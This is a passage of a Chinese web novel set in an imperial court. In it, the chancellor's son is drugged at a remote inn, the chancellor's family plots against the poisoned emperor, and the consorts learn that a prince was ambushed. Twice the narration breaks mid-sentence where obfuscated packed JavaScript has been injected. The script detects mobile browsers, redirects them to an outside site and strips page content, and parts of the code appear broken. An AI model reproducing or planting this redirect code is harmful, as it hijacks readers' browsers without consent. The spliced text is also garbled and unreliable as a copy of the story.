宁凯风颤颤巍巍的伸手去抹他唇上的胭脂,吃的一丝不剩,口中只管喊着,“好玉儿。” 玉官神色温顺,他安安静静跪在那里,由着宁凯风乱摸乱咬。 今日裴延敬不在,余下几人懒得管宁凯风,也都由着他胡闹。 李莲蔚本来想再听玉官唱一出的,但见宁凯风这架势,料着是不行了,也便丢开玉官,向席容弥德道,“下月便是令妹同文敏的好日子了,这原本是一件大喜事,只是,眼下皇上病了,不知道这事儿宫里是怎么一个口风?” 席容弥德啜了口酒,“我听宫里的意思,便是太子的婚事也是要照常办的,说是冲一冲,没准皇上的病就好了。既这么着,咱们两家的喜事自然也是能办的,总没有只许州官放火,不许百姓点灯的道理。” 张宇笑道,“明台说得很是,算起来,下月就是令妹同文敏的亲事,大下月又是令妹同太子的亲事,明台,你们府里可有大热闹了呀。” 李莲蓉因为涉及自己,不好张嘴,倒是一直不大开口的申无忧举杯笑道,“明台的家中已经出了一位皇贵妃,如今又添了一位太子妃,无忧且以此杯为贺!” 席容弥德也便举杯,“行之,我平素最厌那些青云直上之语,你可别也说这么一番话。” 申无忧笑道,“那我不祝你前程似锦,但祝你一生逍遥快活!” 方承鹤微微叹气,“明台没有入世之心,真是可惜了这唾手可得的大好前程。” 张宇道,“人各有志,不可强求,明台小小年纪便能有此心境,倒也不俗了。” 那边的玉 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这耳坠儿是用席容弥德送她的坠子打的,她一次都没舍得用,满心盼着戴给席容弥德瞧。 席容弥德瞥见了盼儿,却并未认出她来。 一则,他素性风流佻达,最爱在女孩子们身上留心,被他施予过恩惠的女孩子实在是太多太多了,不要说像盼儿这等在外头认识的,便是府里的那些丫鬟,他也认不全。 二则,他虽风流,却并非宁凯风之流,不过是看她们有了难处,帮上一把,从来也不要什么回报,更没想过书里常说的什么以身相许的事儿,自然也不去记她们的名姓。 三则,他出身不凡,模样清俊,是从锦绣堆里娇养出来的公子哥儿,身边从来不缺年轻貌美的女子,他遇上了,同她们调笑一回,事后便丢开手,万绿丛中过,片叶不沾身。 盼儿却是个有心的丫头,上次一别,她便对这个席容家的二少爷暗生情愫,念念不忘。 盼儿的出身尴尬,父亲黄大是不入流的商贾之辈,母亲尹娘子又是从红翠馆里出来的舞女,连带着她也被人看轻了几分。黄大孩子很多,哪里还记得盼儿这个女儿,尹娘子恨她不是个男孩,平时对她更是非打即骂,整个缀锦楼里,唯有伙计来福瞧她可怜,偶尔给她讲个笑话解闷。 因此,盼儿年纪虽小,却已饱受世人冷眼。席容弥德对于盼儿而言,就像是一束光,照亮了她阴沉黯淡,毫无指望的生活。 此刻,盼儿站在那里,眼看着席容弥德同她擦肩而过,不觉急了。 “席容公子!” 席容弥德听见喊声,停下脚步。 “你在喊我吗?” 午后的阳光从横披窗倾泻而下,正好洒在了席容弥德身上,只见他一袭天水碧云锦长袍,额上勒着仰莲纹银珠抹额,腰间系着玉石流苏宫绦,手持白羽扇,腕缠十八子,月眼星眸,山泽清臞,疏疏然往那一站,真是谪仙一般的人物。 盼儿痴痴看着这个沐着光的男子,把这一幕深深印在了脑海里,哪怕后来一切都已烟消云散,物是人非,她也依旧无法忘记,曾经有过这样一个人完完全全占据了她青春懵懂的心。 盼儿大着胆子上前一步,“公子,我戴的耳坠子好看吗?” 席容弥德歪头瞧她,“好看,红玛瑙很衬你的肤色,谁给你选的,眼光不错。” 他居然把自己忘了,忘得干干净净。 盼儿不知该说什么,怔怔站在原地。 李莲蓉推了席容弥德一把,“走啦!” 席容弥德对盼儿微微一笑,便同几人一道下楼去了。 65. 承鹤仰西山 碧柳滴翠苔,赤霞糊朱窗。 长街熙熙攘攘,人来人往,很是热闹。 席容弥德打发走了跟来的小厮,自己跨坐在马背上,漫步目的地闲逛着。 红翠馆的姑娘们看见了他,纷纷扬起浸染了香气的帕子招呼,“二少爷,来玩呀。” 席容弥德笑着摆手,兀自赶着马往人少的地方溜达。 他心中烦闷,又不能与人言说,只能纵马驰骋,销磨些许意气。 人人都说,现在就属他家最为风光得意,他听了这话只觉好笑。 哼。 风光? 得意? 热闹都是给外人看的,只有他自己知道,风光得意的下面,就是叵测难料的深渊。 他的长姐贵为副后,可她就算再不情愿,外甥女也要交给魏皇后养着,他的二妹不日就要嫁给李莲蓉,他们几个整日混在一处,李莲蓉是个什么货色,他最清楚不过了。他的三妹即将嫁给太子魏晗烨,他们虽然没有血缘关系,可席容烟叫他一声二哥,他心里也是怜惜这个没有父母的女孩的,他知道,她这一去,怕就是再也活不成了。 这段时间,席容炎和席容弥成没日没夜地呆在席地斋议事,他们把门关得紧紧的,一丝风也不漏出去。可他们就算不说,席容弥德也知道他们等不及了。 他们要赌一场,要压上身家性命赌一场,若是赌赢了,自然是称王称帝,从此登上那个至高无上的宝座,可是,万一他们赌输了……席容弥德闭上眼,不敢再想下去。 他一气儿行了□□里的路,径直出了西大门。 郊外,道路渐渐弯曲泥泞起来。 马儿踏着前蹄,磨蹭着不肯往前走。 席容弥德环顾一圈,满目尽是萧索。 路旁,两个樵夫挽着裤腿,席地而坐,靠在垛子上吧嗒吧嗒吸着旱烟,他们的身侧摆着几捆新砍的柴火,还有一只打来的野兔。 弥德勒着缰绳,上前问路,“请教两位,这是何处?” 两个樵夫打量了他一眼,一声不吭,挑起东西便走。 弥德无奈,只得下了马,把马拴在一颗歪脖子树上。 他还没走几步,就见一个蓬着头,浑身上下脏兮兮的小孩冲他跑了过来。 小孩可怜巴巴的仰起头,“大哥哥,你有吃的吗?” 弥德愣了一下,刚想掏出一锭银子给他,就见那个小孩后头飞也似的追出来一个妇人。 这妇人也是蓬头垢面,头没梳,脸没洗,还光着脚,拎起小孩就跑,一面跑一面训斥着小孩,“二狗,我和你说过多少遍,这些穿绫罗绸缎的都是当官的,一天天收八百遍税银子,恨不能逼死我们,你还朝他讨钱?他不要了你的命就不错了!邻村有户人家遇上天灾,没钱交税,他家的孩子硬是被官府的人抢走充作税赋,听说被卖给人牙子了,他老子娘为了赎他,费了七八年的功夫,上上下下求了多少人,好不容易凑足了银子,偏生那孩子又被缀锦楼给买走了,干的又是下贱的优伶营生,可怜他们家就这么一个儿子,活生生被这些人给断送了!天可怜见,怎么不下刀子砍死这帮人皮畜生!记住没,以后看见他们,能躲多远就躲多远!” 弥德追着他们跑了两步,“夫人,我不是坏人,你回来,我给你们银子!” 妇人哪里肯听,一溜烟跑没影了。 弥德叹了口气,一低头,才发现自己锦缎面儿的靴子已经浸在了污水里。 他“呀”了一声,把靴子从烂泥里拔出来,提着袍子想去几米外的小河里洗洗鞋面。 弥德走到河边,一下子就傻眼了。 这哪里是什么小河,分明就是一条年久失修的阴沟溢出了脏水,荒在这里,也没人管。 他抬头张望,看见不远处的几个汉子正站在河边,用手舀着河里的脏水给他们的马洗澡。 弥德用帕子掩住口鼻,抑制住自己想吐的感觉,提起袍子快步往回走。 这么一来一回,他的袍角、袖口也都被溅上了泥点子。他眼下倒也顾不得许多了,只想赶快离开这个是非之地,于是,他一手扶着树干,一手便去牵马。 这时,一阵疾风从他身侧刮过,卷起了一地黄沙,弥德连忙用袖子挡在前面,却还是被扬起的尘土呛得咳嗽了两声。 弥德狼狈的刷了甩袖子,抬眼一瞧,哪里还有自己的马?再一瞧,原来刚才的那阵疾风竟是一个马贼,那贼挂在马上,跑得飞快,一晃神的功夫就连人带马消失在一片烟尘中了。 弥德恨得咬牙,“光天化日之下,实在是太猖狂了!” 他骂了一时,却也没奈何,这里前不着村后不着店,别说报官了,就是想找户人家借宿一宿都找不到,他丢了马,又迷失了方向,只得没头没脑地乱走一气。 乌青色的山峦绵延起伏,昏黄的日头摇摇欲坠,泥淖三三两两,在望不到头的路上烧出一片灼热的洞,西边,太阳快落山了。 弥德耷拉着眼皮,精疲力竭地挪着步子,他又累又困,那一袭云锦长袍脏的已经看不出天水碧的颜色。 突然,他停下了疲惫的步子,凝眸细看,他不敢相信自己居然在一片漆黑中看到了微弱的亮光,他揉了揉眼睛,没错,那是一家客栈,门口还挂了个幌子。 弥德心中狂喜,奔着那抹亮光扑了过去。 他拍着粗糙扎手的柴门,大喊,“小二!” 一语落地,四下里燕雀无声,安静异常。 过了一会儿,一个穿灰布衣衫的年轻人擎着蜡烛,探头看了出来,“谁呀?” “你说谁,住店的呗。” “哟,不好意思客官,我们这儿啊不是客栈,您还是另寻别处去吧。” 烛光忽闪之际,年轻人背后拢上了一团阴影,那人压低了声音,“什么事啊?” 年轻人回头,恭敬回话,“有个人想要住店,小的正要把他打发走。” 明明是三月的艳阳天,那人头上却戴了顶斗笠,一张脸遮得严严实实,一丝风也不漏。 那人往下压了压斗笠,从竹篾条的空隙间打量着席容弥德,半晌,他收回目光,把声音压得更低了些,“打扫出一间屋子给他住,侧面问问,他来这儿干嘛。” 年轻人得了吩咐,便把席容弥德往里迎,“得嘞,天字号一位!” 弥德踉踉跄跄地跟着他往里走,抱怨道,“你们开客栈的,怎么还把客人往外撵?” “哎呀,客官有所不知,这儿地界不好,匪患横行,平日也少有人住店,客官您这灰头土脸的,小的乍一看,还以为是来了强盗呢。” “有强盗?那你们怎么不报官?” “哈哈,您这话问的,让我怎么回答呢。”年轻人给他扯了一把凳子,“来,您先坐着,我瞧您也饿了,我给您下碗面去。” 弥德往凳子上抹了一把,还行,凳子看着破旧,上头倒是没多少灰。 他掀袍坐了,环顾一圈,“这家客栈就你一个伙计呀?” “可不是,这地偏僻,一年到头也没几个人来,里里外外就靠我一个人忙乎。”年轻人一面往外走,一面抻着脖子喊,“欸,客官,您有没有忌口?” “没有,随便做。” “得嘞!” 不到一刻钟,年轻人端着一碗热气腾腾的五香面走了进来,“客官,您的面好喽!” 浓浓的面香包裹着晚风,扑鼻而来,弥德低头,看见鲜汤上头浮了一层琥珀色的油沫,像是月亮跌进了水里。 弥德赶了一天的路,这会子才觉出饿来,他抽出筷子,挑着吸了一口,“好香!” 年轻人擦了擦手,在他对面坐下,“客官,我瞧您这身行头,您应该是个富家公子吧,”怎么一个人跑到这儿来了,身边连个跟着的人都没有,多危险呐。” “嗐,别提了,我原本是想骑马出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502773|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 散散心的,出了西大门,就分不出个东南西北了。我寻思下马问问路,结果路没问成,马还让贼给顺走了,一说这个我就来气!” “您别生气,我们这儿是个三不管的地界,一个字,乱!” “对了,我才问你,你们为什么不报官呢?” “不瞒您说,报官这种事啊,要是不使银子,衙门理也不理,直接打发你回去等消息。我要是有那送银子的钱,还报官做什么呢。哎,而且呀,说到底,那些强盗贼人从前也都是本分人,被这天灾、人祸逼得没招了,这才走上了这条路,谁又比谁高贵呢。” “你知道,这块地方归谁管吗?” “一直是冯老爷在管。” “冯同庆?” “就是他,客官您认识冯老爷?” 弥德没应声,他吞下嘴里的面条,顺了口汤,敛眉不语。 他没想到,一个小小的京县县丞,竟能肆意掠夺民脂民膏,纵着那些流寇盗贼横行。 “客官?” “嗯?” “要不要再来一碗?” “哦,不用了,你们这儿能沐浴更衣吗,赶了一天的路,身上脏得很。” “能的,客官您跟我往楼上来。” 雾气氤氲,弥德把身子浸在温热的水里,渐渐生出了几分困意。 屏风后,年轻人递了一件干净衣裳进来。 “客官,我看您衣服有些脏了,找了一件新的给您,您别嫌弃。” 弥德都快睡着了,听了这话,勉力抬了抬沉重的眼皮。 “谢谢你了,等我回家了,一定重重赏你,对了,你叫什么名——” 他的话还没说完,脑袋就不受控制的耷拉了下去。 年轻人在外头唤了两声,见他仍是没有动静,这才搁下衣服,出去了。 方承鹤摘下斗笠,“睡着了?” 年轻人嘻嘻笑着,“您就放心吧,小人的蒙汗药就是迷倒十几个身长八尺的壮汉也不在话下,何况是他这么个弱不禁风的公子哥了。” “那就好,如今正是紧要关头,可别让他坏了本公子的大事。” “公子,等他醒了,放他走吗,还是——” 方承鹤往席容弥德的房间瞥了一眼,“算了,明台是个不理世事的主儿,今日应该就是一个意外吧,明儿一早打发他走就是了。” 年轻人点了点头,又想起一事来,“这位席容家的二少爷刚刚还向小的打听谁是这儿的主事官吏,小的如实说了,只怕他回去要找冯同庆那厮算账呢。” “哼,好啊,他既愿意管,就让他们狗咬狗去,我还乐不得呢。” “可是咱们把店开在这里,图的就是这地方乱,来来往往尽是些鱼龙混杂的人物,就算上头真要查,一时半刻也摸不清门路,若是他回家和宰相说起这事,咱们可就难办了。” “怕什么,明台就算真的想管,也得看他老子肯不肯答应。” “万一宰相答应了呢?” “哈哈哈哈,席容炎会答应?哈哈哈哈哈!你以为冯同庆搜刮那么多银子做什么,最后还不是都送进了宰相府的大门。席容炎要是没有这份贪念,就不会坐到宰相这个位子上了。” “还是公子见事明白,小人佩服。” “对了,消息递到西山了吧?” “您放心,小人亲自去的,找的是太后娘娘身边的安然姑姑,中间一点消息都没走漏。” “你办事一向谨慎,我自然是放心的,辛苦你了。” “公子客气了,小人的命都是公子救的,小人为公子做什么都是应该的。” 烛火微微晃动,方承鹤抬指拨弄着斗笠上的竹篾,瞧那映在地上的影子像是一张蛛网,轻而易举地罩住了所有的人。 方承鹤淡淡一笑,“这么些年,太后娘娘也该出来走走了,要不他们都快忘了,西山里还有这么一位人物。” 66. 席容窥日角 席地斋。 红日烂烂,白云溶溶。 席容炎尚在梦中,他的嘴角轻轻上扬,仿佛已经黄袍加身,登上了那个窥伺已久的皇位。 一旁的席容弥成伏在案上,也做着梦,不过他的眉头紧锁,看起来一副心事重重的样子。 他们父子二人昨夜说了一宿的话,直到天都快亮了,席容炎才说有些乏了,要去歇歇。 席容弥成原本想等父亲醒了再谈,没想到自己坐着坐着,竟然也睡过去了。 窗外,梧桐的枝桠随风轻舞,明媚的阳光打下了疏疏绰绰的影子,在弥成的脸上晃呀晃。 席容弥成被光晃得睁开了眼睛,他伸了个懒腰,撑头揉着自己发胀的太阳穴。 席容炎听见了席容弥成的动静,翻了个身,也醒了。 “父亲——” 席容弥成的嘴半张半合,欲言又止。 席容炎看他一眼,“有什么话就说,别吞吞吐吐的。” “父亲昨晚说的事情,儿子左思右想,还是觉得不妥。” “有何不妥?” “我总觉得,整件事里透着蹊跷。您交给申如黛的毒药是黄昏雨,黄昏雨没什么毒性,只要按时服下解药即可,为的是牵制皇上,而非要了他的性命。可她却自作主张,害的皇上直接卧床不起了,她为什么那么盼着皇上死呢?她不怕事情败露,自己最后也活不成了吗?” 席容炎思忖道,“申如黛是申家的女儿,她想要毒死皇上,自然是为了她的家族考虑。” “难道是申远让她这么做的?不应该啊,他图什么呢?申远在大理寺都呆了十几年了,他要是想升官,早就能升,可他一直推脱,儿子真想不明白,申远为什么要害皇上。” “申远——”午后的阳光有些刺目,席容炎半眯着眼,缓声道,“因为他怕死啊,十三年前,陈玄赫受尽酷刑,仍然拒不承认通敌叛国之事,最后落实了他的罪名,将他置于死地的是一封密信,而这个关键的物证正是出自申远之手。陈玄赫满门抄斩之后,那封密信便存在了大理寺,所以申远才要寸步不离的守着大理寺,连自己的青云路都不在乎了。” “啊?那封密信是申远写的?可是,就算是申远写的,他就不会模仿陈玄赫的笔迹吗,怎么也不至于蠢到用自己的笔迹去做这种事情吧。” 席容炎仰天大笑,“哈哈哈哈,陈玄赫是个武将,识字,但不会写字,申远急着交差,只好自己写了一封,可笑呀,可叹呀,当年这个案子漏洞百出,前前后后经了多少人的手,愣是没有一个人瞧出问题,啧啧啧,可怜陈家满门忠勇,最后却落到了墙倒众人推的地步!” 席容弥成恍然大悟,“所以父亲才如此信任申如黛,将长姐不愿做的事交给了她去做?” “是啊,申如黛就算不为了咱们,也得为着她的家族,放手一搏。可我也没想到,这个丫头下手居然这么狠,哼,罢了,她也算帮了我一个大忙。” “就怕她受不住刑,回头再把咱们都给供出来,最好能让她永远也开不了口。” “你的意思是?” 席容弥成做了一个杀头的手势,“这样一了百了,大家干净。” 席容炎摇了摇头,“成儿,千万不要轻举妄动,眼下正是紧要关头,魏晗烨又是此案的主审,如果申如黛突然死在了狱中,势必会引起他的怀疑,到时候,他顺着线索一查,反而不妙了。没准魏晗烨已经布好了人手,正等着咱们上钩呢。” “可这个案子现在落在了刑部尚书张悍的手里,那家伙可是用刑的一把好手,惯会严刑逼供的,申如黛一介弱女子,哪里能受得住,不怕一万就怕万一呀。” “放心吧,我已经让弥德攒了个局,把张悍的儿子张宇介绍给申无忧了。申如黛是他的亲妹妹,这种性命攸关的事情,他不会不上心的。” 席容弥成松了口气,笑道,“怪不得昨天一天都没看见二弟的人影,我还寻思他别是又去哪里玩了,没想到,他这回竟是去做正经事了,哈哈哈,果然长进了不少。” 席容炎也笑起来,“哈哈哈哈,自从你在除夕宴上同他说了那番话,他就慢慢地把心思用在正道上了,成儿,在这件事情上,你功不可没啊。” “哎,我也是焦心,咱们家从一介无名之辈,走到今天,着实不易。偏偏父亲想走的路,又是这全天下最险最难的一条!” 席容炎重重拍了一下席容弥成的肩膀,“欲成大事者,必有非凡之胆量,非凡之气魄,王莽篡汉,李世民玄武门之变,赵匡胤黄袍加身,对了,还有咱们的这位皇上,哪一个不是豁出了一家老小的性命,冒着被千刀万剐的风险,才有了称霸天下,九五至尊的荣耀——” 只听“砰”的一声,席容弥德踹门而入,“父亲!” 席容弥成笑道,“二弟,你回来了。” “大哥也在啊,父亲,我有话问你。” 席容炎上上下下打量了席容弥德一遍,“什么事啊?” 席容弥德深吸一口气,“父亲知不知道,京县郊区,一连赶上几个荒年,百姓们交不起赋税,竟要被逼着舍弃自己的亲生儿子,那里胥吏昏聩,流寇横行,满目尽是疮痍!” 席容炎皱眉,“这些话都是谁同你讲的?” “儿子昨天去了一趟,亲眼看见那里的百姓过的是什么日子,可怜那么一丁点大的孩子连饭都吃不饱,饿得面黄肌瘦,稚子何辜,百姓何辜啊。” “二弟,京县附近的郊区一直是京县县丞冯同庆在管,这和父亲有何干系?” “父亲是大魏宰相,是大魏民生之所系,怎么就和父亲没有干系?” “若是这么讲,那也应该怪到皇上身上,他才是大魏的一国之主!” “好了,你们俩不要再吵了,这件事情我会过问的。弥德,你先回去吧。” “是,儿子告退。” 席容弥德快走到门口时,忽听席容炎说道,“对了,成儿,你让殷氏多往明玉苑走走,珵儿这几日脾气一直不大好,家中几个姊妹她也都说不上话,让殷氏陪着,或许还能好些。” 席容弥德听了,心中一动,脚下的步子也不觉快了许多,他疾步跑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502774|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回荣华堂,穿过月亮门,看见红珠、绿环都在门外守着,屋里隐隐传来了席容珵的啜泣声。 “二妹在里面?” “嗯,二小姐把自己关在房间里面,不让我们进去。” 席容弥德上前一步,红珠连忙拦住,“欸,二少爷。” “怕什么,你们小姐要是怪罪下来,自然有我担着。” 说着,他一脚踹开了房门,只见席容珵把脸埋在枕头里,正哭得伤心,身子也抖得厉害。他皱起眉,打量着一地的碎瓷片,还有扯碎的绫罗绸缎,不觉叹了口气。 他轻轻唤了一声,“二妹。” 席容珵看见是他,用被子蒙住了头,别过脸去,“你来做什么。” “好妹妹,你何必要和自己过不去呢?” “怎么,让我嫁给一个一事无成,混吃等死的浪荡子弟,还不许我为自己哭一场吗?” “文敏虽然有些不学无术,但人还是不错的,没有什么坏心眼子,你嫁过去,便是冲着你宰相千金的身份,他也绝不敢亏待了你。” 席容珵忽地掀开被子,眉头紧蹙,杏眼圆睁,“不错?你们都是一丘之貉,你自然觉得他还不错,他既好,你怎么不嫁给他?!” 席容弥德苦笑,“如果李尚书有嫡出的女儿的话,说不准,父亲真的会让我娶进家门。你以为我为什么要流连于温柔富贵乡,为什么还没议亲,就先坏了自己的名声,我就是不想沦为联姻的工具罢了。长姐是这样,你是这样,席容烟也是这样,便是四妹五妹两个,怕也逃不脱这样的命运,二妹,你明白吗,我宁可终生不娶,也不愿婚姻为人左右。” 席容珵一下子不哭了,她抹了把脸,呆呆看着弥德,半晌,忽然自嘲地笑了笑,“二哥,你是个男子,你再怎么风流,再怎么处处留情,人家也不会觉得这是十足的过错,可我就不一样了,我是女子,我就算不想嫁,也不能用这种方式反抗,除非我真的不想活了。” “是啊,在这世上,女子比男子总是多一分不易的。” 席容弥德看着她哭肿的眼睛,不由得叹了口气,他俯身从床上捡起一方帕子,递了过去,“二妹,你平素不是最爱美的吗,哭成这样,可不好看了。” 席容珵抢过帕子,随意拭了拭眼角,“好看有什么用,依我看,我和红翠馆的那些姑娘没什么区别,不,我还不如她们呢,她们出卖青春,而我出卖的却是我的一辈子!” “我们生在这样的人家,便注定了这样的宿命。说起来,坐到天子的位置上又能如何呢,皇上不也得把女儿送去西域吗?仔细想想,倒还不如咱们家的姊妹,虽说一样是联姻的牺牲品,总归都在京里,即便你嫁进了李府,我们想再见面也是很容易的。” “五十步笑百步罢了,唉,二哥,你帮我把那个黄花梨镜台拿来吧。” “你要那个做什么?” 席容珵直了直身子,抬手将散开的乌发掖在耳后,“我席容珵是席容家嫡出的二小姐,这门亲事,无论我是愿意还是不愿意,我都要做出喜欢的样子,绝对不能让别人看笑话!” 67. 肃安王遇刺 贤乐宫。 贤贵妃卸掉护甲,仔细剥着核桃,小丫鬟进来通禀,“娘娘,淑妃来了。” “快请淑妃娘娘进来。” 采碧上前挑起帘子,“淑妃娘娘慢点,才下了一场春雨,您呀仔细脚滑。” 淑妃微微一笑,颔首示意,对贤贵妃行礼道,“姐姐,我在宫里呆得怪闷的,来瞧瞧你。” “可不是怪闷的,我正愁没有说话的人,可巧你就来了,快坐吧。” 淑妃看见桌上的一小碟核桃仁,笑道,“剥这个东西最费指甲了,姐姐想吃,交给下人去做就是了,何必自己亲自动手呢。” 贤贵妃吹掉核桃仁表面的一层皮衣,轻轻摆在碟中,“这是给远儿剥的,有日子没见到他了,一会儿剥好了,让采碧送去中宫,也算是我这个为娘的一点心意。” “哎,姐姐要是想哲远王了,何不自己去中宫探望他,想来皇后娘娘也不会不答应的。” “我去中宫,皇后娘娘自然不能回绝,可她一定会觉得,我不放心把远儿交到她的手上,眼下皇上病重,前朝,后宫都乱成一团了,我不能再让皇后娘娘多心。” “姐姐真是贤德呀。”淑妃吩咐采桑,“去打水来,本宫等下净了手,陪姐姐一起剥。” 贤贵妃笑了笑,“快歇着吧,我可不敢劳动你,记得从前还在魏王府的时候,我们一块出去踏春,你被花萼上的刺儿划伤了手,哭了一下午,吓得本宫后来再也不敢带你摘花了。” 淑妃掩面而笑,“都过去二十多年了,姐姐怎么还拿这事取笑我。” 贤贵妃的神情有些恍惚,“是啊,都过去二十多年了,真快呀。”她将碟子交给采碧,“你给远儿送去吧,若是碰上皇后娘娘,就说是御膳房送来的,别说是本宫剥的。” “是。” “对了,我听采碧说,平乐公主有消息了,这可真是一件大喜事。” 淑妃今日戴了一支嵌有和田玉的杨柳垂丝步摇,她温婉一笑,仿佛从山水画中走出来的江南佳丽,“是啊,西域生变,新可汗修书一封,说是会好生礼遇公主,以示和睦友好之意。” “公主平安无事便好,省得妹妹寝食难安,日夜惦念,为她悬心。” “只是,西域可汗说,平乐现在怀有身孕,不宜舟车劳顿,所以要等公主平安生产了,再送公主回来,这么一算,本宫至少还得一年才能见到平乐呢。” “好事多磨,倒也不必急在这一时,何况公主肚子里怀的可是西域未来的可汗,妹妹的好日子还在后头呢。” “说来也是奇怪,这新可汗杀了旧可汗,却对平乐如此礼遇,本宫实在是有些想不明白。” “平乐公主是皇上钦封的固伦公主,身份何等尊贵,西域可汗自然要顾忌一二。何况,这新可汗刚刚上位,若是不赶紧向咱们大魏示好,如何腾出手来平定他们西域内部的祸乱。” “也罢,凭他为了什么,只要对我的平乐好,本宫便谢他。” “不过,苏里唐已死,他和宰相席容炎之间是否有所往来,倒是说不清了。” 淑妃微微皱眉,“听说肃安王回京之前,便向皇上呈了书信,详细说了西域内乱的事,可是这封信在奉城一带逗留了好久,直到肃安王奉命回京的前一晚,才慢慢递了出来,奉城知府韩辙解释说是大雪封路,这才耽搁了。可他一向与宰相往来密切,他的所作所为,只怕就是宰相的授意,本宫不能不疑心。” 贤贵妃犹豫了一下,“还有一件事,本宫想要告诉妹妹。” “姐姐请说。” “妹妹,你得先答应我,无论我一会说了什么,你都不能急躁,更不能把这件事说出去。” 淑妃向采桑使了个颜色,采桑会意,立即退了下去。 贤贵妃挥了挥手,殿内的人也都行礼出去了。 淑妃神色急切,探身问道,“还请姐姐告诉我实情。” “不瞒妹妹,此事我也知之甚少。只是元宵前夕,皇上曾传召过我一次,问我近来是否收到过安儿的家书。我说没有,皇上便嘱咐我,如果收到了家书,一定第一时间送到长乐宫,而且,不管信里写了什么内容,都不准外传,更不准告诉妹妹。因为皇上的嘱托,本宫一直没敢告诉妹妹这件事,只是眼下平乐公主已经无碍了,本宫想,便是同妹妹说了,料也无妨。” “那姐姐后来收到肃安王的书信了吗?” “没有,一封也没有。” 淑妃叹了口气,“想也无用,肃安王就快回来了吧?” 贤贵妃点头,“是啊,算算日子,也就在这几天了。” 采碧慌里慌张的跑了进来,“娘娘——” “怎么了?说走嘴了?” “不,是王爷出事了。” 贤贵妃霍地站起身,“远儿怎么了?” 采碧拼命摇头,“不,哲远王没事。” “那就好。” “是,是肃安王——” 贤贵妃面色苍白。 “姐姐!”淑妃赶紧上去扶住贤贵妃,“姐姐别着急,先听听到底是怎么一回事。” 贤贵妃勉强撑着精神,“采碧,你给本宫说清楚,一个字都不要落下。” “是,娘娘。我刚刚去中宫的时候,正巧小王爷在院子里玩,我看皇后娘娘不在,就陪小王爷玩了一阵。后来,皇后娘娘回来了,我怕她看见奴婢,心生不悦,就赶紧躲进树阴里,想等她回屋了再悄悄离开。结果,我就听见云英说,说——” 淑妃道,“诶呀,你快说呀,急死人了!” “说是肃安王经过西山时,遇到刺客伏击,现下,现下生死未卜!” 贤贵妃身子一晃,几乎跌倒,淑妃勉力搀住了她,“姐姐,姐姐要珍重啊。” “安儿什么时候遇到刺客的?” “昨儿午后。” “混账!出了这么大的事,怎么没人来告诉本宫!” 采碧磕头,“娘娘息怒!” 淑妃拉着贤贵妃的手,“姐姐,我们该怎么办啊?” 贤贵妃咬牙,“皇上病重,本宫只能去求皇后,不,还有太子,本宫去找太子殿下!” 东宫。 银竹节忍冬纹熏炉内焚着伽南香,云风恭敬奉茶,但见盏中热气同炉中香气错错落落。 贤贵妃红着眼眶,声音嘶哑,“请求殿下彻查此事,救我安儿一命!” 魏晗烨面露不忍,“云风,快扶贤娘娘起来!” 云风和采碧一边一个,搀着贤贵妃坐了回去。 “贤娘娘,兄长骤然遇险,孤也十分牵挂,孤昨日便已命人去西山一带仔细搜查,想来,很快就会有兄长的消息的。母后没有同贤娘娘讲,也是怕贤娘娘乍一听了此事,忧思太甚,贤娘娘不要怪她。论理,孤是应该亲自去一趟西山的 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冯同庆搂着娇娘,脸因为喝酒涨得通红,“美人儿,今儿晚上,我可就不走了——” 娇娘娇羞一笑,伸手往他的袖子里探了探,“那大爷可得带足银子呀,要不,就算我想留你,妈妈也不让的。” 冯同庆攥住娇娘的手,急不可耐地就开始解自己的衣服,“放心,只要你把我伺候舒坦了,别说银子,就是要金子,大爷也给你。” 娇娘玉指纤纤,她跪坐在冯同庆身前,替他解开两粒盘扣,冯同庆哪里受的住,衣服也不解了,抱起娇娘便往床上去。 娇娘笑着向他头上戳了一指头,“瞧你那个猴急的样儿吧。” 冯同庆压在娇娘身上,“牡丹花下死,做鬼也风流,我今儿就是死了,也不白活这一世!” 忽听“砰”的一声,袁青带人破门而入,“冯同庆何在?” 冯同庆裤子才褪了一半,他被人搅扰了这样的好事,怎能善罢甘休,登时扯着嗓子骂道,“哪个王八羔子敢坏老子的好事,赶紧给老子滚出去,老子还能饶你一命!” 袁青冷笑,“衙门里找不见你,没想到冯县丞倒在这儿逍遥!” 杨妈妈小跑着上来,她年岁大了,吃的又有些发福,才跑几步就喘得厉害,“这位爷,这是做什么呀,有话好好说嘛。” 袁青亮出东宫的令牌,“想活命,就少管闲事。” 杨妈妈看清楚了令牌上的字,舌头都不好使了,“太,太子殿下?” 冯同庆听说“太子殿下”,神色骤变,他慌忙穿好衣服,一脸谄笑,“您是太子殿下的人呀,怎么不早说,太子殿下有什么吩咐?” “太子殿下口谕,传冯同庆去刑部问话。” “刑部?!不不不,这位爷,您肯定是搞错了,下官着实冤枉呀。” “哼,冤不冤的,等冯县丞到了刑部,再亲自去和太子殿下解释吧。” 冯同庆心里慌乱,大喊道,“就算下官有罪,也用不着太子殿下来审!还有宰相大人呢!” “哦?这么说,冯县丞和宰相关系匪浅呀,那就更要好好审一审了!带走!” 冯同庆被侍卫牢牢按住,他拼命扭着身子,冲门外跟来的小厮大喊,“快去找宰相大人,还有冯遇,让他去求小侯爷救我,快去!” 68. 冯同庆受刑 西山。 